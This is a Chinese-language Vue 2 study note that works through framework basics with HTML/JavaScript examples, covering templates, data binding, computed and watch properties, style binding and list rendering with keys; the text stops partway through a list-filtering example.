Vue记录(上篇)

Hello world案例

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <title>初识Vue</title>
  <!-- 引入Vue -->
  <script type="text/javascript" src="./vue.js"></script>
  <script type="text/javascript">
    Vue.config.productionTip = false  //设置为 false 以阻止 vue 在启动时生成生产提示。
  </script>
</head>
<body>
  <!-- 准备一个容器 -->
  <div id="root">
    <h1>Hello,{{ name }}</h1>
  </div>
</body>
 <script>
    //创建Vue实例
    new Vue({
      el: '#root',  //el用于指定当前Vue实例为那个容器服务,值为CSS选择器字符串
      data: {  //data中用于存储数据,数据供el所指容器使用,之暂时先写成一个对象
        name: '尚硅谷'
      }
    })
  </script>
</html>

1.想让Vue工作就必须创建一个Vue实例,且要传入一个配置对象
2.root容器里的代码依然符合HTML规范,只不过加入了特殊Vue语法
3.root容器中代码被称为Vue模板
4.Vue实例和容器是一一对应的
5.真实开发中只有一个Vue实例,并且会配合着组件一起使用
6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中所有属性;
7.一旦data中数据发生改变,模板中用到该数据的地方也会自动更新。

模板语法

在这里插入图片描述

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <title>模板语法</title>
  <!-- 引入Vue -->
  <script type="text/javascript" src="./vue.js"></script>
  <script type="text/javascript">
    Vue.config.productionTip = false  //设置为 false 以阻止 vue 在启动时生成生产提示。
  </script>
</head>

<body>
  <!-- 准备一个容器 -->
  <div id="root">
    <h1>插值语法</h1>
    <h3>你好,{{ name }}</h3>
    <hr />
    <h1>指令语法</h1>
    <a v-bind:href="school.url" v-bind:x="hello">点我去{{school.name}}学习1</a>
    <!-- <a :href="url" x="hello">点我去尚硅谷学习2</a> -->
  </div>
</body>

<script>
  new Vue({
    el: '#root',
    data: {
      name: 'jack',
      school: {
        url: 'http://www.atguigu.com',
        name: '尚硅谷'
      }

    }
  })
</script>

</html>

Vue模板语法有2大类:
1.插值语法:
功能:用于解析标签体内容
写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性
2.指令语法:
功能:用于解析标签(标签属性,标签体内容,绑定事件…)
备注:Vue中有很多指令,形式都为v-???,v-bind只是其中一个

数据绑定

在这里插入图片描述

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <title>数据绑定</title>
  <!-- 引入Vue -->
  <script type="text/javascript" src="./vue.js"></script>
  <script type="text/javascript">
    Vue.config.productionTip = false  //设置为 false 以阻止 vue 在启动时生成生产提示。
  </script>
</head>

<body>
  <!-- 准备一个容器 -->
  <div id="root">
    <!-- 普通写法: -->
   单向数据绑定:<input type="text" v-bind:value="name">
   <br/>
   双向数据绑定:<input type="text" v-model:value="name">
   <br/>

   <!-- 简写: -->
   单向数据绑定:<input type="text" :value="name">
   <br/>
   双向数据绑定:<input type="text" v-model="name">
   <br/>

   <!-- 如下代码是错误的,因为v-model只能应用于表单类(输入类value)元素 -->
   <!-- <h2 v-model:x="name">你好呀</h2> -->
  </div>
</body>

<script>
  new Vue({
    el:'#root',
    data:{
      name:'尚硅谷'
    }
  })
</script>

</html>

Vue中有2种数据绑定的方式:
1.单向绑定(v-bind):数据只能从data流向页面
2.双向绑定(v-model):数据不仅能从data流向页面,也可以从页面流向data
备注:
1.双向绑定一般都应用在表单元素上(如:input,select)
2.v-model:value可以简写为v-model,v-model默认收集的就是value。

el与data两种写法

  • el
<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <title></title>
  <!-- 引入Vue -->
  <script type="text/javascript" src="./vue.js"></script>
  <script type="text/javascript">
    Vue.config.productionTip = false  //设置为 false 以阻止 vue 在启动时生成生产提示。
  </script>
</head>

<body>
  <!-- 准备一个容器 -->
  <div id="root">
   <h1>你好,{{name}}</h1>
  </div>
</body>

<script>
  // el的两种写法
  
  const v = new Vue({
    // el:'#root', //第一种写法
    data:{
      name:'尚硅谷'
    }
  })
  console.log(v);
  v.$mount('#root')  //灵活,第二种写法

  // setTimeout(()=>{
  //   v.$mount('#root')
  // },1000)

</script>

</html>
  • data
<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <title></title>
  <!-- 引入Vue -->
  <script type="text/javascript" src="./vue.js"></script>
  <script type="text/javascript">
    Vue.config.productionTip = false  //设置为 false 以阻止 vue 在启动时生成生产提示。
  </script>
</head>

<body>
  <!-- 准备一个容器 -->
  <div id="root">
   <h1>你好,{{name}}</h1>
  </div>
</body>

<script>
  // data的两种写法

  const v = new Vue({
    el:'#root', 
    //第一种写法:对象式
    // data:{
    //   name:'尚硅谷'
    // }

    //第二种写法:函数式
    data(){
      return{
        name:'尚硅谷',
      }
    }
  })
</script>

</html>
  1. data两种写法如何选择:以后学习到组件,data必须使用函数式,否则会报错
  2. 重要原则:一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了
  • MVVM模型
<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <title>理解MVVM</title>
  <!-- 引入Vue -->
  <script type="text/javascript" src="./vue.js"></script>
  <script type="text/javascript">
    Vue.config.productionTip = false  //设置为 false 以阻止 vue 在启动时生成生产提示。
  </script>
</head>

<body>
  <!-- 准备一个容器 -->
  <!-- View -->
  <div id="root">
   <h1>学校名称:{{name}}</h1>
   <h1>学校地址:{{address}}</h1>
   <h1>测试1:{{1+1}}</h1>
   <h1>测试2:{{$options}}</h1>
   <h1>测试3:{{_c}}</h1>
  </div>
</body>

<script>
  // ViewModel
  const vm = new Vue({
    el:'#root',
    // Model
    data:{
      name:'尚硅谷',
      address:'北京'
    }
  })
  console.log(vm);
</script>

</html>

data中所有属性,最后都出现在vm身上
vm身上所有的属性及Vue原型上所有的属性,在Vue模板中都可以直接使用

数据代理

回顾Object.defineproperty方法

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <title>回顾Object.defineproperty方法</title>
  <!-- 引入Vue -->
  <script type="text/javascript" src="./vue.js"></script>
  <script type="text/javascript">
    Vue.config.productionTip = false  //设置为 false 以阻止 vue 在启动时生成生产提示。
  </script>
</head>

<body>
  <script type="text/javascript">
    let num = 18
    let person = {
      name: '张三',
      sex: '男',
      // age:18
    }

    // 此方法添加属性不可枚举

    Object.defineProperty(person, 'age', {
      // value: 18,
      // enumerable: true, //控制属性是否可以枚举,默认false
      // writable: true, //控制属性是否可以被修改,默认false
      // configurable: true, //控制属性是否可以被删除,默认false

      // 当有人读取person 的age属性时,get函数(getter)就会被调用,且返回值就是age值
      get() {
        return num
      },

      // 当有人修改person 的age属性时,set函数(setter)就会被调用,且返回修改的具体值
      set(value){
        console.log('有人修改了age值,qie修改后值为:',value)
        number = value
      }
    })

    // console.log(Object.keys(person))
    console.log(person);
  </script>

</body>

</html>

什么是数据代理

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <title>什么是数据代理</title>
</head>
<body>
  <!-- 数据代理:通过一个对象代理对另一个对象中属性的操作(读/写) -->
  <script type="text/javascript">
    let obj = {x:100}
    let obj1 = {y:200}

    Object.defineProperty(obj1,'x',{
      get(){
        return obj.x
      },

      set(value){
        obj.x = value
      }
    })
  </script>
  
</body>
</html>

Vue中的数据代理

在这里插入图片描述

  1. Vue中数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)
  2. 好处:更加方便操作data中数据
  3. 原理:
    通过Object.defineProperty()把data对象中所有属性添加到vm上。
    为每一个添加到vm上的属性,都指定一个getter/setter。
    在getter/setter内部去操作data中对应的属性。

事件处理

绑定监听

在这里插入图片描述

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <title>事件的基本使用</title>
  <script type="text/javascript" src="./vue.js"></script>
  <script>Vue.config.productionTip = false  //阻止vue在启动时生成生产提示s</script>
</head>
<body>
  <div id="root">
    <h2>欢迎来到{{name}}学习</h2>
    <button v-on:click="showInfo1">点我提示信息1(不传参)</button>
    <button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
  </div>
</body>

<script type="text/javascript">
  const vm = new Vue({
    el:'#root',
    data:{
      name:'尚硅谷',  
    },
    methods:{
      showInfo1(event){
        // console.log(this);  //此处this是vm
        alert('同学你好!')
      },
      showInfo2(event,number){
        console.log(event,number);
        // console.log(this);  //此处this是vm
        alert('同学你好!!')
      }
    }
  })
 
</script>
</html>

事件的基本使用:

  1. 使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名
  2. 事件的回调需要配置在methods对象中,最终会在vm上
  3. methods中配置的函数,不要用箭头函数,否则this就不是vm
  4. methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象
  5. @click=“demo” 和 @click=“demo($event)” 效果一致,但后者可以传参

事件修饰符

在这里插入图片描述

Vue中的事件修饰符
1)prevent: 阻止默认事件(常用);
2)stop:阻止事件冒泡(常用);
3)once:事件只触发一次(常用);
4)capture:使用事件的捕获模式;
5)self:只有event.target是当前操作的元素时才触发事件;
6)passive: 时间的默认行为立即执行,无需等待事件回调执行完毕。

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <title>事件修饰符</title>
  <script type="text/javascript" src="./vue.js"></script>
  <script>Vue.config.productionTip = false  //阻止vue在启动时生成生产提示</script>
  <style>
    * {
      margin-top: 20px;
    }
    .demo1 {
      height: 50px;
      background-color: skyblue;
    }
    .box1 {
      padding: 5px;
      background-color: skyblue;
    }
    .box2 {
      padding: 5px;
      background-color: orange;
    }
    .list {
      width: 200px;
      height: 200px;
      background-color: peru;
      overflow: auto;
    }
    li {
      height: 100px;
    }
  </style>
</head>
<body>
  <div id="root">
    <h2>欢迎来到{{name}}学习</h2>
    <!-- prevent: 阻止默认事件 -->
    <a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>

    <!-- stop:阻止事件冒泡 -->
    <div class="demo1" @click="showInfo">
      <button @click.stop="showInfo">点我提示信息</button>
    </div>

    <!-- once:事件只触发一次 -->
    <button @click.once="showInfo">点我提示信息</button>

    <!-- capture:使用事件的捕获模式 -->
    <div class="box1" @click.capture="showMsg(1)">
      div1
      <div class="box2" @click.capture="showMsg(2)">
        div2
      </div>
    </div>

    <!-- self:只有event.target是当前操作的元素时才触发事件 -->
    <div class="demo1" @click.self="showInfo">
      <button @click="showInfo">点我提示信息</button>
    </div>

    <!-- passive: 时间的默认行为立即执行,无需等待事件回调执行完毕 -->
    <ul @wheel.passive="demo" class="list">
      <li>1</li>
      <li>2</li>
      <li>3</li>
      <li>4</li>
    </ul>
  </div>
</body>

<script type="text/javascript">
   new Vue({
    el:'#root',
    data:{
      name:'尚硅谷',  
    },
    methods:{
      showInfo(e){   
        // alert('同学你好!')
        console.log(e.target)
      },
      showMsg(msg){
        console.log(msg);
      },
      demo(){
        for (let index = 0; index < 10000; index++) {
          console.log('#')
        }
        console.log('累坏了')
      }
    }
  })
 
</script>
</html>

键盘事件

在这里插入图片描述

  1. Vue中常用按键别名
    回车=>enter
    删除=>delete(捕获“删除”和“退格”键)
    退出=>esc
    空格=>space
    换行=>tab(必须配合keydown使用)
    上 => up
    下 => down
    左 => left
    右 => right
  2. 如果vue中没有定义想要使用的键的话,可以通过e输出e.key,e.keyCode来查看键盘上按键的名称和编码。
    如果按键名称是驼峰命名的话,要把单词的首字母都改成小写,并且用-连接。
  3. 系统修饰符(用法特殊):ctrl、alt、shift、meta
    (1)、配合keyup使用:按下修饰符键的同时,再按下其他键,随后释放其他键,事件才被触发。
    (2)、配合keydown使用:正常触发事件。

计算属性

计算属性-computed在这里插入图片描述

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <title>姓名案例_插值语法实现</title>
  <script type="text/javascript" src="./vue.js"></script>
  <script>Vue.config.productionTip = false  //阻止vue在启动时生成生产提示</script>
</head>
<body>
  <div id="root">
    姓:<input type="text" v-model="firstname"><br/><br/>
    名:<input type="text" v-model="lastname"><br/><br/>
    姓名:<span>{{firstname.slice(0,3)}}-{{lastname}}</span>
  </div>
</body>

<script type="text/javascript">
   new Vue({
    el:'#root',
    data:{
      firstname:'张',
      lastname:'三'  
    },
    methods:{
     showInfo(e){
      console.log(e.key,e.keyCode);
      // console.log(e.target.value);
     }
    }
  })
 
</script>
</html>

在这里插入图片描述

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <title>姓名案例_methods实现</title>
  <script type="text/javascript" src="./vue.js"></script>
  <script>Vue.config.productionTip = false  //阻止vue在启动时生成生产提示</script>
</head>
<body>
  <div id="root">
    姓:<input type="text" v-model="firstname"><br/><br/>
    名:<input type="text" v-model="lastname"><br/><br/>
    姓名:<span>{{fullName()}}</span>
  </div>
</body>

<script type="text/javascript">
   new Vue({
    el:'#root',
    data:{
      firstname:'张',
      lastname:'三'  
    },
    methods:{
      fullName(){
        return this.firstname+'-'+this.lastname
      }
    }
  })
 
</script>
</html>

在这里插入图片描述

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <title>姓名案例_计算属性实现</title>
  <script type="text/javascript" src="./vue.js"></script>
  <script>Vue.config.productionTip = false  //阻止vue在启动时生成生产提示</script>
</head>
<body>
  <div id="root">
    姓:<input type="text" v-model="firstname"><br/><br/>
    名:<input type="text" v-model="lastname"><br/><br/>
    姓名:<span>{{fullName}}</span><br/><br/>
    姓名:<span>{{fullName}}</span><br/><br/>
    姓名:<span>{{fullName}}</span><br/><br/>
    姓名:<span>{{fullName}}</span>
  </div>
</body>

<script type="text/javascript">
   const vm = new Vue({
    el:'#root',
    data:{
      firstname:'张',
      lastname:'三',
    },
    computed:{
      fullName:{
        // get作用:当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
        // get什么时候调用:
        // 1.初次读取fullName时
        // 2.所依赖数据发生变化时
        get(){
          console.log('get被调用了')
          return this.firstname+'-'+this.lastname
        },

        // set什么时候调用:
        // 1.fullName被修改时
        set(value){
          console.log('set',value)
          const arr = value.split('-')
          this.firstname = arr[0]
          this.lastname = arr[1]
        }
      }
    }
  })
 
</script>
</html>

在这里插入图片描述

计算属性:

  1. 定义:要用的属性不存在,要通过已有属性计算得来。
  2. 原理:底层借助了Object.defineproperty方法提供的getter和setter。
  3. get函数什么时候执行?
    初次读取时会执行一次。
    当依赖的数据产生变化时会再次调用
  4. 优势:与methods方法相比,内部具有缓存的机制,效率更高,调试方便
  5. 备注:
    计算属性最终会出现在vm上,直接读取使用即可。
    如果计算属性需要被修改,则必须去写set函数去响应修改,且set中要引起计算时依赖的数据发生变化。

计算属性简写(只考虑读取不考虑修改时才可以使用简写)

<!DOCTYPE html>
<html lang="zh-CN">
<head>
  <meta charset="UTF-8">
  <title>计算属性简写</title>
  <script type="text/javascript" src="./vue.js"></script>
  <script>Vue.config.productionTip = false  //阻止vue在启动时生成生产提示</script>
</head>
<body>
  <div id="root">
    姓:<input type="text" v-model="firstname"><br/><br/>
    名:<input type="text" v-model="lastname"><br/><br/>
    姓名:<span>{{fullName}}</span><br/><br/>
  </div>
</body>

<script type="text/javascript">
   const vm = new Vue({
    el:'#root',
    data:{
      firstname:'张',
      lastname:'三',
    },
    computed:{

      /*
      // 完整写法:

      fullName:{
        // get作用:当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
        // get什么时候调用:
        // 1.初次读取fullName时
        // 2.所依赖数据发生变化时
        get(){
          console.log('get被调用了')
          return this.firstname+'-'+this.lastname
        },

        // set什么时候调用:
        // 1.fullName被修改时
        set(value){
          console.log('set',value)
          const arr = value.split('-')
          this.firstname = arr[0]
          this.lastname = arr[1]
        }
      }
      */

      // 简写(只考虑读取不考虑修改时才可以使用简写)
      fullName(){
        console.log('get被调用了')
        return this.firstname+'-'+this.lastname
      }
      }
  })
 
</script>
</html>

监视属性-watch

在这里插入图片描述

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <title>监视属性</title>
  <script type="text/javascript" src="./vue.js"></script>
  <script>Vue.config.productionTip = false  //阻止vue在启动时生成生产提示</script>
</head>

<body>
  <div id="root">
    <h2>今天天气很{{info}}</h2>
    <!-- @xxx="yyy" yyy可以写一些简单语句 -->
    <!-- <button @click="isHot=!isHot">切换天气</button> -->
    <button @click="changeWeather">切换天气</button>
  </div>
</body>

<script type="text/javascript">
  const vm = new Vue({
    el: '#root',
    data: {
      isHot: true
    },
    computed: {
      info() {
        return this.isHot ? '炎热' : '凉爽'
      }
    },
    methods: {
      changeWeather() {
        this.isHot = !this.isHot
      }
    },
    // watch:{
    //   isHot:{
    //     // 初始化时让handler调用一下
    //     immediate:true,
    //     // handler什么时候调用?当isHot发生改变时
    //     handler(newValue,oldValue){
    //       console.log('isHot被修改了',newValue,oldValue)
    //     }
    //   }
    // }
  })

  vm.$watch('isHot', {
    // 初始化时让handler调用一下
    immediate: true,
    // handler什么时候调用?当isHot发生改变时
    handler(newValue, oldValue) {
      console.log('isHot被修改了', newValue, oldValue)
    }
  }
  )

</script>

</html>

在这里插入图片描述

监视属性watch:

  1. 当被监视的属性变化时,回调函数自动调用,进行相关操作
  2. 监视属性必须存在才能进行监视
  3. 两种写法:
    (1).new Vue时传入watch配置
    (2)通过vm.$watch监视

深度监视

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <title>深度监视</title>
  <script type="text/javascript" src="./vue.js"></script>
  <script>Vue.config.productionTip = false  //阻止vue在启动时生成生产提示</script>
</head>

<body>
  <div id="root">
    <h2>今天天气很{{info}}</h2>
    <!-- @xxx="yyy" yyy可以写一些简单语句 -->
    <!-- <button @click="isHot=!isHot">切换天气</button> -->
    <button @click="changeWeather">切换天气</button>
    <hr/>
    <h3>a的值时:{{numbers.a}}</h3>
    <button @click="numbers.a++">点我让a+1</button>
    <hr/>
    <h3>b的值时:{{numbers.b}}</h3>
    <button @click="numbers.b++">点我让b+1</button>
  </div>
</body>

<script type="text/javascript">
  const vm = new Vue({
    el: '#root',
    data: {
      isHot: true,
      numbers:{
        a:1,
        b:1
      }
    },
    computed: {
      info() {
        return this.isHot ? '炎热' : '凉爽'
      }
    },
    methods: {
      changeWeather() {
        this.isHot = !this.isHot
      }
    },
    watch:{
      isHot:{
        // 初始化时让handler调用一下
        // immediate:true,
        // handler什么时候调用?当isHot发生改变时
        handler(newValue,oldValue){
          console.log('isHot被修改了',newValue,oldValue)
        }
      },

       // 监视多级结构中某个属性变化
      // 'numbers.a':{
      //   handler(newValue,oldValue){
      //     console.log('a被修改了')
      //   }
      // },

      // 监视多级结构中所有属性的变化
      numbers:{
        deep:true,
        handler(){
          console.log('numbers改变了')
        }
      }
    }
  })
</script>

</html>

深度监视:
(1) Vue中的watch默认监测对象内部值的改变(一层)
(2)配置deep:true可以监测对象内部值的改变(多层)
备注:
(1)Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以
(2)使用watch时根据数据的具体结构,决定是否采用深度监视

深度监视简写

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <title>深度监视</title>
  <script type="text/javascript" src="./vue.js"></script>
  <script>Vue.config.productionTip = false  //阻止vue在启动时生成生产提示</script>
</head>

<body>
  <div id="root">
    <h2>今天天气很{{info}}</h2>
    <!-- @xxx="yyy" yyy可以写一些简单语句 -->
    <!-- <button @click="isHot=!isHot">切换天气</button> -->
    <button @click="changeWeather">切换天气</button>
  </div>
</body>

<script type="text/javascript">
  const vm = new Vue({
    el: '#root',
    data: {
      isHot: true,
    },
    computed: {
      info() {
        return this.isHot ? '炎热' : '凉爽'
      }
    },
    methods: {
      changeWeather() {
        this.isHot = !this.isHot
      }
    },
    watch: {
      // 完整写法
      /*
      isHot:{
        // immediate:true,
        // deep:true,  //深度监视
        // 当配置项中只有handler时可以简写
        handler(newValue,oldValue){
          console.log('isHot被修改了',newValue,oldValue)
        }
      },
      */

      // 简写
      // isHot(newValue,oldValue){
      //   console.log('isHot被修改了',newValue,oldValue)
      // }
    }
  })

  // 正常写法
  vm.$watch('isHot', {
    immediate: true,
    deep: true,  //深度监视
    // 当配置项中只有handler时可以简写
    handler(newValue, oldValue) {
      console.log('isHot被修改了', newValue, oldValue)
    }
  })

  // 简写(不可以写成箭头函数)
   vm.$watch('isHot',function(newValue,oldValue){
     console.log('isHot被修改了', newValue, oldValue)
   })
</script>

</html>

watch和computed对比

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>姓名案例_监视属性实现</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器 -->
    <div id="root">
        姓: <input type="text" v-model="firstName"><br><br>
        名: <input type="text" v-model="lastName"><br><br>
        姓名: <span>{{fullName}}</span>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip =  false // 阻止 vue 在启动时生成生产提示
 
    new Vue({
        el:"#root",
        data:{
            firstName:'振华中学',
            lastName:'林杨',
            fullName:'振华中学的林杨'
        },
        // methods: {
        //     fullname(){
        //         return this.firstname + '的' + this.lastname
        //     }
        // }
        watch:{
            firstName(val){
                setTimeout(() => {
                    this.fullName = val + '的' + this.lastName
                    },1000);
            },
            lastName(val){
                this.fullName = this.firstName + '的' + val
            }
        }
    })
</script>
</html>

computed与watch之间的区别:

  1. computed能完成的功能,watch都可以完成
  2. watch能完成的功能,computed不一定能完成。例如:watch可以进行异步操作

两个重要的小原则:
所有被Vue管理的函数,最好写成普通函数,这样this指向才是vm或者组件实例对象。
所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等)最好写成箭头函数,这样this的指向才是vm或组件实例对象。

绑定样式

在这里插入图片描述

class绑定

在这里插入图片描述

style 绑定

在这里插入图片描述

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>绑定样式</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
    <style>
        .basic{
            width: 400px;
            height: 200px;
            border: 2px solid cornflowerblue;
        }
 
        .normal{
            background-color: lightsteelblue;
        }
 
        .happy{
            background-color: cornflowerblue;
        }
 
        .sad{
            background-color: chartreuse;
        }
 
        .sgg1{
            font-size: 20px;
            text-align: center;
        }
 
        .sgg2{
            border-radius: 10px;
        }
 
        .sgg3{
            font-style: inherit;
            background-color: red;
        }
    </style>
</head>
<body>
    <!-- 准备好一个容器 -->
    <div id="root" >
        <!-- 绑定class样式,字符串写法。适用于:样式的类名不确定,需要动态绑定 -->
        <div class="basic" :class="mood" @click="changeMood">{{name}}></div><br><br>
 
        <!-- 绑定class样式,数组写法。适用于:要绑定的个数不确定,名字也不确定 -->
        <div class="basic" :class="arr" >{{name}}></div><br><br>
 
        <!-- 绑定class样式,对象写法。适用于:要绑定的个数不确定,名字也不确定 -->
        <div class="basic" :class="obj" >{{name}}></div><br><br>
 
        <!-- 绑定style样式,对象写法。 -->
        <div class="basic" :style="style" >{{name}}></div><br><br>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip =  false // 阻止 vue 在启动时生成生产提示
 
    new Vue({
        el:"#root",
        data:{
            name:"尚硅谷",
            mood:'normal',
            arr:['sgg1','sgg2','sgg3'],
            obj:{
                sgg1:false,
                sgg2:false,
                sgg3:false
            },
            style:{
                fontSize: '40px',
                color: 'blue'
            }
        },
        methods: {
            changeMood(){
                const arr = ['normal','happy','sad']
                this.mood = arr[Math.floor(Math.random()*3)]
            }
        },
    })
</script>
</html>

1.class样式
写法:class=“xxx” xxx可以是字符串、对象、数组。
对象写法适用于:要绑定多个样式,个数不确定、名字也不确定。
数组写法适用于:要绑定多个样式,个数确定,名字也确定,但不确定用不用。

2.style样式
:style="{fontSize:xxx}“其中xxx是动态的
:style=”[a,b]"其中a,b是样式对象

条件渲染在这里插入图片描述

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <script type="text/javascript" src="./vue.js"></script>
  <title>Document</title>
</head>

<body>
  <!-- 准备好一个容器 -->
  <div id="root">
    <h2>当前的n值时{{n}}</h2>
    <button @click="n++">点我n+1</button>
    <!-- 使用v-show做条件渲染(变化频率高) -->
    <!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
    <!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

    <!-- 使用v-if做条件渲染(变化频率低) -->
    <!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
    <!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

    <!-- v-else和v-else-if -->
    <!-- <div v-show="n===1">Angular</div>
    <div v-if="n===2">React</div>
    <div v-else-if="n===3">Vue</div>
    <div v-else>hh</div> -->

    <!-- template只能和v-if配合使用 -->
    <template v-if="n === 1">
      <h2>你好</h2>
      <h2>尚硅谷</h2>
      <h2>北京</h2>
    </template>

  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      name: '尚硅谷',
      n: 0
    }
  })
</script>
</html>

条件渲染:

  1. v-if
    写法:
    v-if=“表达式”
    v-else-if=“表达式”
    v-else=“表达式”
    适用于:切换频率比较低的场景
    特点:不展示的DOM元素直接被移除
    注意:v-if可以和v-else-if、v-else一起使用,但结构不能被打断。
  2. v-show
    写法:v-show=“表达式”
    适用于:切换频率较高的场景
    特点:不能展示的DOM元素未被移除,仅仅是使用样式隐藏掉。
  3. 备注:使用v-if时,元素可能无法获取到,而使用v-show一定可以获取到

列表渲染

在这里插入图片描述

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <script type="text/javascript" src="./vue.js"></script>
  <title>基本列表</title>
</head>

<body>
  <!-- 准备好一个容器 -->
  <div id="root">
    <!-- 遍历数组 -->
    <h2>人员</h2>
    <ul>
      <li v-for="(p,index) in persons" :key="index">
        {{p.name}}-{{p.age}}
      </li>
    </ul>

    <!-- 遍历对象 -->
    <h2>汽车信息</h2>
    <ul>
      <li v-for="(value,key) in car" :key="key">
        {{key}}-{{value}}
      </li>
    </ul>

    <!-- 遍历字符串 -->
    <h2>字符串信息</h2>
    <ul>
      <li v-for="(value,key) in str" :key="key">
        {{key}}-{{value}}
      </li>
    </ul>

     <!-- 遍历指定次数 -->
     <h2>字符串信息</h2>
     <ul>
       <li v-for="(number,index) in 10" :key="index">
         {{index}}-{{number}}
       </li>
     </ul>

  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      persons:[
        {id:'001',name:'张三',age:18},
        {id:'002',name:'李四',age:19},
        {id:'003',name:'王五',age:20},
      ],
      car:{
        name:'奥迪A8',
        price:'70万',
        color:'黑色'
      },
      str:'hello'
    }
  })
</script>

</html>

v-for指令:

  1. 用于展示列表数据
  2. 语法:v-for=“(item,index) in xxx” :key=“yyy”
  3. 可遍历:数组、对象、字符串(少)、指定次数(少)

key原理

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <script type="text/javascript" src="./vue.js"></script>
  <title>key原理</title>
</head>

<body>
  <!-- 准备好一个容器 -->
  <div id="root">
    <!-- 遍历数组 -->
    <h2>人员</h2>
    <button @click.once="add">添加一个王二麻子</button>
    <ul>
      <li v-for="(p,index) in persons" :key="p.id">
        {{p.name}}-{{p.age}}
        <input type="text">
      </li>
    </ul> 
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      persons:[
        {id:'001',name:'张三',age:18},
        {id:'002',name:'李四',age:19},
        {id:'003',name:'王五',age:20},
      ]
    },
    methods:{
      add(){
        const p = {id:'004',name:'王二麻子',age:21}
        this.persons.unshift(p)
      }
    }
  })
</script>

</html>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

面试题:react、vue中的key有什么作用?(key的内部原理)
虚拟DOM中key的作用:key是虚拟DOM中对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:

对比规则:
旧虚拟DOM中找到了与新虚拟DOM相同的key:

  1. 若虚拟DOM中内容没变, 直接使用之前的真实DOM
  2. 若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM
  3. 旧虚拟DOM中未找到与新虚拟DOM相同的key:创建新的真实DOM,随后渲染到到页面

用index作为key可能会引发的问题
若对数据进行逆序添加、逆序删除等破坏顺序操作:会产生没有必要的真实DOM更新 ——> 界面效果没问题, 但效率低
若结构中还包含输入类的DOM:会产生错误DOM更新 ==> 界面有问题 开发中如何选择key?

最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值
如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表,使用index作为key是没有问题的

列表过滤

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <script type="text/javascript" src="./vue.js"></script>
  <title>列表过滤</title>
</head>

<body>
  <!-- 准备好一个容器 -->
  <div id="root">
    <h2>人员</h2>
    <input type="text" placeholder="请输入名字:" v-model="keyWord">
    <ul>
      <li v-for="(p,index) in filPersons" :key="index">
